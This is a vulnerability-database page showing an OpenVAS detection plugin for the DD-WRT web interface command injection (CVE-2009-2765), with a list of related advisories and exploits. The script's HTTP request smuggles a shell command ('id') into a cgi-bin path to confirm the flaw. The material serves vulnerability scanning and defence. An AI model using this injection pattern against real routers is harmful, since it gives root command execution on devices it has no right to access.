Lucene search
+L

DD-WRT Web Management Interface Remote Arbitrary Shell Command Injection Vulnerability

🗓️ 23 Sep 2013 00:00:00Reported by Copyright (C) 2013 Greenbone AGType 
openvas
 openvas
🔗 plugins.openvas.org👁 75 Views

DD-WRT Web Management Interface Remote Arbitrary Shell Command Injection Vulnerabilit

Related
Refs
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2009-2765
20 Jul 200900:00
circl
cve
CVE
CVE-2009-2765
14 Aug 200915:00
cve
cvelist
Cvelist
CVE-2009-2765
14 Aug 200915:00
cvelist
nessus
Tenable Nessus
DD-WRT HTTP Daemon Metacharacter Injection Remote Code Execution
23 Jul 200900:00
nessus
exploitdb
Exploit DB
DD-WRT HTTP v24-SP1 - Command Injection
20 Jul 200900:00
exploitdb
exploitdb
Exploit DB
DD-WRT HTTPd Daemon/Service - Arbitrary Command Execution (Metasploit)
7 Jul 201000:00
exploitdb
exploitdb
Exploit DB
DD-WRT HTTPd Daemon/Service - Remote Command Execution
20 Jul 200900:00
exploitdb
exploitpack
exploitpack
DD-WRT HTTP v24-SP1 - Command Injection
20 Jul 200900:00
exploitpack
metasploit
Metasploit
DD-WRT HTTP Daemon Arbitrary Command Execution
21 Jul 200912:56
metasploit
nvd
NVD
CVE-2009-2765
14 Aug 200915:16
nvd
Rows per page
# SPDX-FileCopyrightText: 2013 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if (description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.103792");
  script_cve_id("CVE-2009-2765");
  script_version("2023-07-27T05:05:08+0000");
  script_tag(name:"cvss_base", value:"8.3");
  script_tag(name:"cvss_base_vector", value:"AV:A/AC:L/Au:N/C:C/I:C/A:C");

  script_name("DD-WRT Web Management Interface Remote Arbitrary Shell Command Injection Vulnerability");


  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/35742");
  script_xref(name:"URL", value:"http://dd-wrt.com/dd-wrtv3/index.php");
  script_xref(name:"URL", value:"http://www.dd-wrt.com");
  script_xref(name:"URL", value:"http://www.heise.de/ct/artikel/Aufstand-der-Router-1960334.html");

  script_tag(name:"last_modification", value:"2023-07-27 05:05:08 +0000 (Thu, 27 Jul 2023)");
  script_tag(name:"creation_date", value:"2013-09-23 13:51:05 +0200 (Mon, 23 Sep 2013)");
  script_category(ACT_ATTACK);
  script_tag(name:"qod_type", value:"remote_vul");
  script_family("Web application abuses");
  script_copyright("Copyright (C) 2013 Greenbone AG");
  script_dependencies("gb_get_http_banner.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("httpd/banner");

  script_tag(name:"impact", value:"Remote attackers can exploit this issue to execute arbitrary shell
commands with superuser privileges, which may facilitate a complete
compromise of the affected device.");

  script_tag(name:"vuldetect", value:"Try to execute the 'id' command via HTTP GET request.");

  script_tag(name:"insight", value:"httpd.c in httpd in the management GUI in DD-WRT 24 sp1, and other
versions before build 12533, allows remote attackers to execute arbitrary commands
via shell metacharacters in a request to a cgi-bin/ URI");

  script_tag(name:"solution", value:"Vendor fixes are available.");
  script_tag(name:"solution_type", value:"VendorFix");

  script_tag(name:"summary", value:"DD-WRT is prone to a remote command-injection vulnerability because it
fails to adequately sanitize user-supplied input data.");

  script_tag(name:"affected", value:"DD-WRT v24-sp1 is affected. Other versions may also be vulnerable.");

  exit(0);
}

include("http_func.inc");
include("port_service_func.inc");
include("host_details.inc");



port = http_get_port(default:80);

banner = http_get_remote_headers(port:port);
if("Server: httpd" >!< banner)exit(0);

for(i=5;i<=7;i++) {

  req = 'GET /cgi-bin/;id>&' + i + ' HTTP/1.0\r\n\r\n';
  res = http_send_recv(port:port, data:req, bodyonly:FALSE);

  if("uid=" >< res && "gid=" >< res) {

    security_message(port:port);
    exit(0);

  }
}

exit(0);

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation